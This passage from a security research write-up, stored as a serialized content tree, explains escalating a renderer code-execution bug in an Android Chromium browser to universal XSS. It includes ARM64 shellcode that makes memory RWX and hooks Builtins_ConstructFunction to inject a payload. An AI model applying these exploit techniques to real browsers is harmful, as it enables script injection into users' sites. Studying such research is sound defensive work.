141004},{"style":5067},[141005],{"type":29,"value":34972},{"type":23,"tag":504,"props":141007,"children":141008},{"style":5041},[141009],{"type":29,"value":137716},{"type":23,"tag":504,"props":141011,"children":141012},{"style":5058},[141013],{"type":29,"value":357},{"type":23,"tag":504,"props":141015,"children":141016},{"style":5139},[141017],{"type":29,"value":59626},{"type":23,"tag":504,"props":141019,"children":141020},{"style":5058},[141021],{"type":29,"value":137790},{"type":23,"tag":504,"props":141023,"children":141024},{"style":5041},[141025],{"type":29,"value":41208},{"type":23,"tag":504,"props":141027,"children":141028},{"style":5058},[141029],{"type":29,"value":5061},{"type":23,"tag":504,"props":141031,"children":141032},{"class":5016,"line":5728},[141033,141037,141041,141045,141049,141054,141058,141062],{"type":23,"tag":504,"props":141034,"children":141035},{"style":5041},[141036],{"type":29,"value":103723},{"type":23,"tag":504,"props":141038,"children":141039},{"style":5058},[141040],{"type":29,"value":357},{"type":23,"tag":504,"props":141042,"children":141043},{"style":5139},[141044],{"type":29,"value":103732},{"type":23,"tag":504,"props":141046,"children":141047},{"style":5058},[141048],{"type":29,"value":603},{"type":23,"tag":504,"props":141050,"children":141051},{"style":6297},[141052],{"type":29,"value":141053},"'DeserializeWasmModule result: '",{"type":23,"tag":504,"props":141055,"children":141056},{"style":5047},[141057],{"type":29,"value":10950},{"type":23,"tag":504,"props":141059,"children":141060},{"style":5041},[141061],{"type":29,"value":11207},{"type":23,"tag":504,"props":141063,"children":141064},{"style":5058},[141065],{"type":29,"value":5888},{"type":23,"tag":504,"props":141067,"children":141068},{"class":5016,"line":5737},[141069,141073,141077,141081,141085,141089,141093,141097,141101,141105],{"type":23,"tag":504,"props":141070,"children":141071},{"style":5030},[141072],{"type":29,"value":38245},{"type":23,"tag":504,"props":141074,"children":141075},{"style":5041},[141076],{"type":29,"value":137810},{"type":23,"tag":504,"props":141078,"children":141079},{"style":5047},[141080],{"type":29,"value":5050},{"type":23,"tag":504,"props":141082,"children":141083},{"style":5030},[141084],{"type":29,"value":33988},{"type":23,"tag":504,"props":141086,"children":141087},{"style":5041},[141088],{"type":29,"value":135577},{"type":23,"tag":504,"props":141090,"children":141091},{"style":5058},[141092],{"type":29,"value":357},{"type":23,"tag":504,"props":141094,"children":141095},{"style":5139},[141096],{"type":29,"value":135631},{"type":23,"tag":504,"props":141098,"children":141099},{"style":5058},[141100],{"type":29,"value":603},{"type":23,"tag":504,"props":141102,"children":141103},{"style":5041},[141104],{"type":29,"value":11129},{"type":23,"tag":504,"props":141106,"children":141107},{"style":5058},[141108],{"type":29,"value":5888},{"type":23,"tag":504,"props":141110,"children":141111},{"class":5016,"line":5746},[141112,141116,141120,141124,141128,141132,141136,141140,141144],{"type":23,"tag":504,"props":141113,"children":141114},{"style":5030},[141115],{"type":29,"value":38245},{"type":23,"tag":504,"props":141117,"children":141118},{"style":5041},[141119],{"type":29,"value":35027},{"type":23,"tag":504,"props":141121,"children":141122},{"style":5047},[141123],{"type":29,"value":5050},{"type":23,"tag":504,"props":141125,"children":141126},{"style":5041},[141127],{"type":29,"value":137810},{"type":23,"tag":504,"props":141129,"children":141130},{"style":5058},[141131],{"type":29,"value":357},{"type":23,"tag":504,"props":141133,"children":141134},{"style":5041},[141135],{"type":29,"value":39942},{"type":23,"tag":504,"props":141137,"children":141138},{"style":5058},[141139],{"type":29,"value":357},{"type":23,"tag":504,"props":141141,"children":141142},{"style":5041},[141143],{"type":29,"value":135680},{"type":23,"tag":504,"props":141145,"children":141146},{"style":5058},[141147],{"type":29,"value":5061},{"type":23,"tag":504,"props":141149,"children":141150},{"class":5016,"line":5813},[141151,141155,141159,141163,141167,141171],{"type":23,"tag":504,"props":141152,"children":141153},{"style":5041},[141154],{"type":29,"value":103723},{"type":23,"tag":504,"props":141156,"children":141157},{"style":5058},[141158],{"type":29,"value":357},{"type":23,"tag":504,"props":141160,"children":141161},{"style":5139},[141162],{"type":29,"value":103732},{"type":23,"tag":504,"props":141164,"children":141165},{"style":5058},[141166],{"type":29,"value":603},{"type":23,"tag":504,"props":141168,"children":141169},{"style":5041},[141170],{"type":29,"value":3025},{"type":23,"tag":504,"props":141172,"children":141173},{"style":5058},[141174],{"type":29,"value":5888},{"type":23,"tag":504,"props":141176,"children":141177},{"class":5016,"line":5821},[141178],{"type":23,"tag":504,"props":141179,"children":141180},{"style":5058},[141181],{"type":29,"value":103764},{"type":23,"tag":32,"props":141183,"children":141184},{},[141185],{"type":29,"value":141186},"And this time, it works as expected:",{"type":23,"tag":32,"props":141188,"children":141189},{},[141190],{"type":23,"tag":199,"props":141191,"children":141194},{"alt":141192,"src":141193},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":320,"props":141196,"children":141198},{"id":141197},"achieving-universal-xss",[141199],{"type":29,"value":141200},"Achieving Universal XSS",{"type":23,"tag":32,"props":141202,"children":141203},{},[141204,141206,141212,141214,141221],{"type":29,"value":141205},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":68,"props":141207,"children":141210},{"href":141208,"rel":141209},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[72],[141211],{"type":29,"value":72395},{"type":29,"value":141213}," from Tencent Security and ",{"type":23,"tag":68,"props":141215,"children":141218},{"href":141216,"rel":141217},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[72],[141219],{"type":29,"value":141220},"research article",{"type":29,"value":141222}," from InterruptLabs.",{"type":23,"tag":32,"props":141224,"children":141225},{},[141226,141228,141235],{"type":29,"value":141227},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":68,"props":141229,"children":141232},{"href":141230,"rel":141231},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[72],[141233],{"type":29,"value":141234},"weaker version",{"type":29,"value":141236}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":32,"props":141238,"children":141239},{},[141240,141242,141248],{"type":29,"value":141241},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":154,"props":141243,"children":141245},{"className":141244},[],[141246],{"type":29,"value":141247},"Builtins_ConstructFunction",{"type":29,"value":141249},", making it a natural target.",{"type":23,"tag":32,"props":141251,"children":141252},{},[141253,141255,141260],{"type":29,"value":141254},"Our goal is for ",{"type":23,"tag":154,"props":141256,"children":141258},{"className":141257},[],[141259],{"type":29,"value":141247},{"type":29,"value":141261}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":1022,"props":141263,"children":141264},{},[141265,141270,141280],{"type":23,"tag":143,"props":141266,"children":141267},{},[141268],{"type":29,"value":141269},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":143,"props":141271,"children":141272},{},[141273,141275],{"type":29,"value":141274},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":154,"props":141276,"children":141278},{"className":141277},[],[141279],{"type":29,"value":141247},{"type":23,"tag":143,"props":141281,"children":141282},{},[141283,141285,141290],{"type":29,"value":141284},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":154,"props":141286,"children":141288},{"className":141287},[],[141289],{"type":29,"value":141247},{"type":29,"value":141291},", which now proceeds normally",{"type":23,"tag":32,"props":141293,"children":141294},{},[141295],{"type":29,"value":141296},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":4743,"props":141298,"children":141302},{"code":141299,"language":141300,"meta":7,"className":141301,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141303],{"type":23,"tag":154,"props":141304,"children":141305},{"__ignoreMap":7},[141306,141314,141322,141330,141338,141345,141353,141361,141369,141377,141384,141392,141400,141408,141416,141424,141431,141439,141447,141455,141463,141471,141479,141486,141494,141501,141509,141517,141525,141532,141540,141548,141556,141564,141571,141578,141585,141592,141600,141608,141616,141623,141631,141639,141646,141654,141662,141670,141677,141685,141693,141701,141709,141716,141723,141731],{"type":23,"tag":504,"props":141307,"children":141308},{"class":5016,"line":5017},[141309],{"type":23,"tag":504,"props":141310,"children":141311},{},[141312],{"type":29,"value":141313},"// get return addr to x0\n",{"type":23,"tag":504,"props":141315,"children":141316},{"class":5016,"line":4868},[141317],{"type":23,"tag":504,"props":141318,"children":141319},{},[141320],{"type":29,"value":141321},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":504,"props":141323,"children":141324},{"class":5016,"line":4876},[141325],{"type":23,"tag":504,"props":141326,"children":141327},{},[141328],{"type":29,"value":141329},"// strip pac signature from return address\n",{"type":23,"tag":504,"props":141331,"children":141332},{"class":5016,"line":5099},[141333],{"type":23,"tag":504,"props":141334,"children":141335},{},[141336],{"type":29,"value":141337},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":504,"props":141339,"children":141340},{"class":5016,"line":5203},[141341],{"type":23,"tag":504,"props":141342,"children":141343},{"emptyLinePlaceholder":15},[141344],{"type":29,"value":5734},{"type":23,"tag":504,"props":141346,"children":141347},{"class":5016,"line":5308},[141348],{"type":23,"tag":504,"props":141349,"children":141350},{},[141351],{"type":29,"value":141352},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":141354,"children":141355},{"class":5016,"line":5336},[141356],{"type":23,"tag":504,"props":141357,"children":141358},{},[141359],{"type":29,"value":141360},"movz x1, #0x610c\n",{"type":23,"tag":504,"props":141362,"children":141363},{"class":5016,"line":5349},[141364],{"type":23,"tag":504,"props":141365,"children":141366},{},[141367],{"type":29,"value":141368},"sub x0, x0, x1\n",{"type":23,"tag":504,"props":141370,"children":141371},{"class":5016,"line":5367},[141372],{"type":23,"tag":504,"props":141373,"children":141374},{},[141375],{"type":29,"value":141376},"mov x5, x0\n",{"type":23,"tag":504,"props":141378,"children":141379},{"class":5016,"line":5388},[141380],{"type":23,"tag":504,"props":141381,"children":141382},{"emptyLinePlaceholder":15},[141383],{"type":29,"value":5734},{"type":23,"tag":504,"props":141385,"children":141386},{"class":5016,"line":5397},[141387],{"type":23,"tag":504,"props":141388,"children":141389},{},[141390],{"type":29,"value":141391},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":504,"props":141393,"children":141394},{"class":5016,"line":5649},[141395],{"type":23,"tag":504,"props":141396,"children":141397},{},[141398],{"type":29,"value":141399},"movz x1, #0xf000\n",{"type":23,"tag":504,"props":141401,"children":141402},{"class":5016,"line":5666},[141403],{"type":23,"tag":504,"props":141404,"children":141405},{},[141406],{"type":29,"value":141407},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":504,"props":141409,"children":141410},{"class":5016,"line":5683},[141411],{"type":23,"tag":504,"props":141412,"children":141413},{},[141414],{"type":29,"value":141415},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":504,"props":141417,"children":141418},{"class":5016,"line":5696},[141419],{"type":23,"tag":504,"props":141420,"children":141421},{},[141422],{"type":29,"value":141423},"and x4, x5, x1\n",{"type":23,"tag":504,"props":141425,"children":141426},{"class":5016,"line":5705},[141427],{"type":23,"tag":504,"props":141428,"children":141429},{"emptyLinePlaceholder":15},[141430],{"type":29,"value":5734},{"type":23,"tag":504,"props":141432,"children":141433},{"class":5016,"line":5728},[141434],{"type":23,"tag":504,"props":141435,"children":141436},{},[141437],{"type":29,"value":141438},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":504,"props":141440,"children":141441},{"class":5016,"line":5737},[141442],{"type":23,"tag":504,"props":141443,"children":141444},{},[141445],{"type":29,"value":141446},"mov x0, x4\n",{"type":23,"tag":504,"props":141448,"children":141449},{"class":5016,"line":5746},[141450],{"type":23,"tag":504,"props":141451,"children":141452},{},[141453],{"type":29,"value":141454},"mov x1, #0x2000\n",{"type":23,"tag":504,"props":141456,"children":141457},{"class":5016,"line":5813},[141458],{"type":23,"tag":504,"props":141459,"children":141460},{},[141461],{"type":29,"value":141462},"mov x2, #0x7\n",{"type":23,"tag":504,"props":141464,"children":141465},{"class":5016,"line":5821},[141466],{"type":23,"tag":504,"props":141467,"children":141468},{},[141469],{"type":29,"value":141470},"mov x8, #226\n",{"type":23,"tag":504,"props":141472,"children":141473},{"class":5016,"line":5851},[141474],{"type":23,"tag":504,"props":141475,"children":141476},{},[141477],{"type":29,"value":141478},"svc #0\n",{"type":23,"tag":504,"props":141480,"children":141481},{"class":5016,"line":5859},[141482],{"type":23,"tag":504,"props":141483,"children":141484},{"emptyLinePlaceholder":15},[141485],{"type":29,"value":5734},{"type":23,"tag":504,"props":141487,"children":141488},{"class":5016,"line":5891},[141489],{"type":23,"tag":504,"props":141490,"children":141491},{},[141492],{"type":29,"value":141493},"mov x6, x5\n",{"type":23,"tag":504,"props":141495,"children":141496},{"class":5016,"line":5899},[141497],{"type":23,"tag":504,"props":141498,"children":141499},{"emptyLinePlaceholder":15},[141500],{"type":29,"value":5734},{"type":23,"tag":504,"props":141502,"children":141503},{"class":5016,"line":5959},[141504],{"type":23,"tag":504,"props":141505,"children":141506},{},[141507],{"type":29,"value":141508},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":504,"props":141510,"children":141511},{"class":5016,"line":11093},[141512],{"type":23,"tag":504,"props":141513,"children":141514},{},[141515],{"type":29,"value":141516},"mov x0, #0\n",{"type":23,"tag":504,"props":141518,"children":141519},{"class":5016,"line":11111},[141520],{"type":23,"tag":504,"props":141521,"children":141522},{},[141523],{"type":29,"value":141524},"mov x1, #0x1000\n",{"type":23,"tag":504,"props":141526,"children":141527},{"class":5016,"line":11156},[141528],{"type":23,"tag":504,"props":141529,"children":141530},{},[141531],{"type":29,"value":141462},{"type":23,"tag":504,"props":141533,"children":141534},{"class":5016,"line":11262},[141535],{"type":23,"tag":504,"props":141536,"children":141537},{},[141538],{"type":29,"value":141539},"mov x3, #34\n",{"type":23,"tag":504,"props":141541,"children":141542},{"class":5016,"line":25550},[141543],{"type":23,"tag":504,"props":141544,"children":141545},{},[141546],{"type":29,"value":141547},"mov x4, #-1\n",{"type":23,"tag":504,"props":141549,"children":141550},{"class":5016,"line":25585},[141551],{"type":23,"tag":504,"props":141552,"children":141553},{},[141554],{"type":29,"value":141555},"mov x5, #0\n",{"type":23,"tag":504,"props":141557,"children":141558},{"class":5016,"line":25593},[141559],{"type":23,"tag":504,"props":141560,"children":141561},{},[141562],{"type":29,"value":141563},"mov x8, #222\n",{"type":23,"tag":504,"props":141565,"children":141566},{"class":5016,"line":25601},[141567],{"type":23,"tag":504,"props":141568,"children":141569},{},[141570],{"type":29,"value":141478},{"type":23,"tag":504,"props":141572,"children":141573},{"class":5016,"line":25610},[141574],{"type":23,"tag":504,"props":141575,"children":141576},{"emptyLinePlaceholder":15},[141577],{"type":29,"value":5734},{"type":23,"tag":504,"props":141579,"children":141580},{"class":5016,"line":25652},[141581],{"type":23,"tag":504,"props":141582,"children":141583},{},[141584],{"type":29,"value":141376},{"type":23,"tag":504,"props":141586,"children":141587},{"class":5016,"line":25685},[141588],{"type":23,"tag":504,"props":141589,"children":141590},{"emptyLinePlaceholder":15},[141591],{"type":29,"value":5734},{"type":23,"tag":504,"props":141593,"children":141594},{"class":5016,"line":25693},[141595],{"type":23,"tag":504,"props":141596,"children":141597},{},[141598],{"type":29,"value":141599},"// at this point:\n",{"type":23,"tag":504,"props":141601,"children":141602},{"class":5016,"line":25701},[141603],{"type":23,"tag":504,"props":141604,"children":141605},{},[141606],{"type":29,"value":141607},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":141609,"children":141610},{"class":5016,"line":25710},[141611],{"type":23,"tag":504,"props":141612,"children":141613},{},[141614],{"type":29,"value":141615},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":504,"props":141617,"children":141618},{"class":5016,"line":25786},[141619],{"type":23,"tag":504,"props":141620,"children":141621},{"emptyLinePlaceholder":15},[141622],{"type":29,"value":5734},{"type":23,"tag":504,"props":141624,"children":141625},{"class":5016,"line":25819},[141626],{"type":23,"tag":504,"props":141627,"children":141628},{},[141629],{"type":29,"value":141630},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":504,"props":141632,"children":141633},{"class":5016,"line":25827},[141634],{"type":23,"tag":504,"props":141635,"children":141636},{},[141637],{"type":29,"value":141638},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":504,"props":141640,"children":141641},{"class":5016,"line":25835},[141642],{"type":23,"tag":504,"props":141643,"children":141644},{"emptyLinePlaceholder":15},[141645],{"type":29,"value":5734},{"type":23,"tag":504,"props":141647,"children":141648},{"class":5016,"line":25872},[141649],{"type":23,"tag":504,"props":141650,"children":141651},{},[141652],{"type":29,"value":141653},"// wipe from cache\n",{"type":23,"tag":504,"props":141655,"children":141656},{"class":5016,"line":25885},[141657],{"type":23,"tag":504,"props":141658,"children":141659},{},[141660],{"type":29,"value":141661},"mov x0, x5\n",{"type":23,"tag":504,"props":141663,"children":141664},{"class":5016,"line":25898},[141665],{"type":23,"tag":504,"props":141666,"children":141667},{},[141668],{"type":29,"value":141669},"{WIPE_CACHE}\n",{"type":23,"tag":504,"props":141671,"children":141672},{"class":5016,"line":25911},[141673],{"type":23,"tag":504,"props":141674,"children":141675},{"emptyLinePlaceholder":15},[141676],{"type":29,"value":5734},{"type":23,"tag":504,"props":141678,"children":141679},{"class":5016,"line":25965},[141680],{"type":23,"tag":504,"props":141681,"children":141682},{},[141683],{"type":29,"value":141684},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":141686,"children":141687},{"class":5016,"line":25974},[141688],{"type":23,"tag":504,"props":141689,"children":141690},{},[141691],{"type":29,"value":141692},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":504,"props":141694,"children":141695},{"class":5016,"line":34336},[141696],{"type":23,"tag":504,"props":141697,"children":141698},{},[141699],{"type":29,"value":141700},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":504,"props":141702,"children":141703},{"class":5016,"line":34357},[141704],{"type":23,"tag":504,"props":141705,"children":141706},{},[141707],{"type":29,"value":141708},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":504,"props":141710,"children":141711},{"class":5016,"line":83015},[141712],{"type":23,"tag":504,"props":141713,"children":141714},{"emptyLinePlaceholder":15},[141715],{"type":29,"value":5734},{"type":23,"tag":504,"props":141717,"children":141718},{"class":5016,"line":83028},[141719],{"type":23,"tag":504,"props":141720,"children":141721},{},[141722],{"type":29,"value":141653},{"type":23,"tag":504,"props":141724,"children":141725},{"class":5016,"line":83036},[141726],{"type":23,"tag":504,"props":141727,"children":141728},{},[141729],{"type":29,"value":141730},"mov x0, x6\n",{"type":23,"tag":504,"props":141732,"children":141733},{"class":5016,"line":83044},[141734],{"type":23,"tag":504,"props":141735,"children":141736},{},[141737],{"type":29,"value":141669},{"type":23,"tag":32,"props":141739,"children":141740},{},[141741,141743,141749,141751,141756,141758,141764],{"type":29,"value":141742},"In the snippet above, ",{"type":23,"tag":154,"props":141744,"children":141746},{"className":141745},[],[141747],{"type":29,"value":141748},"new_compile_instrs",{"type":29,"value":141750}," refers to the instructions written to the beginning of ",{"type":23,"tag":154,"props":141752,"children":141754},{"className":141753},[],[141755],{"type":29,"value":141247},{"type":29,"value":141757}," that invoke the ",{"type":23,"tag":154,"props":141759,"children":141761},{"className":141760},[],[141762],{"type":29,"value":141763},"uxss_sc",{"type":29,"value":141765}," mmap-ed shellcode:",{"type":23,"tag":4743,"props":141767,"children":141769},{"code":141768,"language":141300,"meta":7,"className":141301,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141770],{"type":23,"tag":154,"props":141771,"children":141772},{"__ignoreMap":7},[141773,141781,141788,141796,141804,141811,141819,141827,141834,141842,141850,141857,141865],{"type":23,"tag":504,"props":141774,"children":141775},{"class":5016,"line":5017},[141776],{"type":23,"tag":504,"props":141777,"children":141778},{},[141779],{"type":29,"value":141780},"bti c\n",{"type":23,"tag":504,"props":141782,"children":141783},{"class":5016,"line":4868},[141784],{"type":23,"tag":504,"props":141785,"children":141786},{"emptyLinePlaceholder":15},[141787],{"type":29,"value":5734},{"type":23,"tag":504,"props":141789,"children":141790},{"class":5016,"line":4876},[141791],{"type":23,"tag":504,"props":141792,"children":141793},{},[141794],{"type":29,"value":141795},"// store registers that will be overwritten\n",{"type":23,"tag":504,"props":141797,"children":141798},{"class":5016,"line":5099},[141799],{"type":23,"tag":504,"props":141800,"children":141801},{},[141802],{"type":29,"value":141803},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":504,"props":141805,"children":141806},{"class":5016,"line":5203},[141807],{"type":23,"tag":504,"props":141808,"children":141809},{"emptyLinePlaceholder":15},[141810],{"type":29,"value":5734},{"type":23,"tag":504,"props":141812,"children":141813},{"class":5016,"line":5308},[141814],{"type":23,"tag":504,"props":141815,"children":141816},{},[141817],{"type":29,"value":141818},"// get current rip into x15\n",{"type":23,"tag":504,"props":141820,"children":141821},{"class":5016,"line":5336},[141822],{"type":23,"tag":504,"props":141823,"children":141824},{},[141825],{"type":29,"value":141826},"adr x15, .\n",{"type":23,"tag":504,"props":141828,"children":141829},{"class":5016,"line":5349},[141830],{"type":23,"tag":504,"props":141831,"children":141832},{"emptyLinePlaceholder":15},[141833],{"type":29,"value":5734},{"type":23,"tag":504,"props":141835,"children":141836},{"class":5016,"line":5367},[141837],{"type":23,"tag":504,"props":141838,"children":141839},{},[141840],{"type":29,"value":141841},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":504,"props":141843,"children":141844},{"class":5016,"line":5388},[141845],{"type":23,"tag":504,"props":141846,"children":141847},{},[141848],{"type":29,"value":141849},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":504,"props":141851,"children":141852},{"class":5016,"line":5397},[141853],{"type":23,"tag":504,"props":141854,"children":141855},{"emptyLinePlaceholder":15},[141856],{"type":29,"value":5734},{"type":23,"tag":504,"props":141858,"children":141859},{"class":5016,"line":5649},[141860],{"type":23,"tag":504,"props":141861,"children":141862},{},[141863],{"type":29,"value":141864},"// jump to uxss_sc\n",{"type":23,"tag":504,"props":141866,"children":141867},{"class":5016,"line":5666},[141868],{"type":23,"tag":504,"props":141869,"children":141870},{},[141871],{"type":29,"value":141872},"blr x15\n",{"type":23,"tag":32,"props":141874,"children":141875},{},[141876,141881,141883,141888],{"type":23,"tag":154,"props":141877,"children":141879},{"className":141878},[],[141880],{"type":29,"value":141763},{"type":29,"value":141882}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":154,"props":141884,"children":141886},{"className":141885},[],[141887],{"type":29,"value":141247},{"type":29,"value":141889}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":4743,"props":141891,"children":141893},{"code":141892,"language":141300,"meta":7,"className":141301,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141894],{"type":23,"tag":154,"props":141895,"children":141896},{"__ignoreMap":7},[141897,141904,141911,141919,141927,141935,141943,141951,141959,141967,141975,141983,141991,141999,142007,142015,142023,142031,142039],{"type":23,"tag":504,"props":141898,"children":141899},{"class":5016,"line":5017},[141900],{"type":23,"tag":504,"props":141901,"children":141902},{},[141903],{"type":29,"value":141780},{"type":23,"tag":504,"props":141905,"children":141906},{"class":5016,"line":4868},[141907],{"type":23,"tag":504,"props":141908,"children":141909},{"emptyLinePlaceholder":15},[141910],{"type":29,"value":5734},{"type":23,"tag":504,"props":141912,"children":141913},{"class":5016,"line":4876},[141914],{"type":23,"tag":504,"props":141915,"children":141916},{},[141917],{"type":29,"value":141918},"// Save full register context\n",{"type":23,"tag":504,"props":141920,"children":141921},{"class":5016,"line":5099},[141922],{"type":23,"tag":504,"props":141923,"children":141924},{},[141925],{"type":29,"value":141926},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":504,"props":141928,"children":141929},{"class":5016,"line":5203},[141930],{"type":23,"tag":504,"props":141931,"children":141932},{},[141933],{"type":29,"value":141934},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":504,"props":141936,"children":141937},{"class":5016,"line":5308},[141938],{"type":23,"tag":504,"props":141939,"children":141940},{},[141941],{"type":29,"value":141942},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":504,"props":141944,"children":141945},{"class":5016,"line":5336},[141946],{"type":23,"tag":504,"props":141947,"children":141948},{},[141949],{"type":29,"value":141950},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":504,"props":141952,"children":141953},{"class":5016,"line":5349},[141954],{"type":23,"tag":504,"props":141955,"children":141956},{},[141957],{"type":29,"value":141958},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":504,"props":141960,"children":141961},{"class":5016,"line":5367},[141962],{"type":23,"tag":504,"props":141963,"children":141964},{},[141965],{"type":29,"value":141966},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":504,"props":141968,"children":141969},{"class":5016,"line":5388},[141970],{"type":23,"tag":504,"props":141971,"children":141972},{},[141973],{"type":29,"value":141974},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":504,"props":141976,"children":141977},{"class":5016,"line":5397},[141978],{"type":23,"tag":504,"props":141979,"children":141980},{},[141981],{"type":29,"value":141982},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":504,"props":141984,"children":141985},{"class":5016,"line":5649},[141986],{"type":23,"tag":504,"props":141987,"children":141988},{},[141989],{"type":29,"value":141990},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":504,"props":141992,"children":141993},{"class":5016,"line":5666},[141994],{"type":23,"tag":504,"props":141995,"children":141996},{},[141997],{"type":29,"value":141998},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":504,"props":142000,"children":142001},{"class":5016,"line":5683},[142002],{"type":23,"tag":504,"props":142003,"children":142004},{},[142005],{"type":29,"value":142006},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":504,"props":142008,"children":142009},{"class":5016,"line":5696},[142010],{"type":23,"tag":504,"props":142011,"children":142012},{},[142013],{"type":29,"value":142014},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":504,"props":142016,"children":142017},{"class":5016,"line":5705},[142018],{"type":23,"tag":504,"props":142019,"children":142020},{},[142021],{"type":29,"value":142022},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":504,"props":142024,"children":142025},{"class":5016,"line":5728},[142026],{"type":23,"tag":504,"props":142027,"children":142028},{},[142029],{"type":29,"value":142030},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":504,"props":142032,"children":142033},{"class":5016,"line":5737},[142034],{"type":23,"tag":504,"props":142035,"children":142036},{},[142037],{"type":29,"value":142038},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":504,"props":142040,"children":142041},{"class":5016,"line":5746},[142042],{"type":23,"tag":504,"props":142043,"children":142044},{},[142045],{"type":29,"value":142046},"str lr, [sp, #-16]!\n",{"type":23,"tag":32,"props":142048,"children":142049},{},[142050],{"type":29,"value":142051},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":32,"props":142053,"children":142054},{},[142055,142057,142062],{"type":29,"value":142056},"The epilogue restores all saved registers, restores the original instructions in 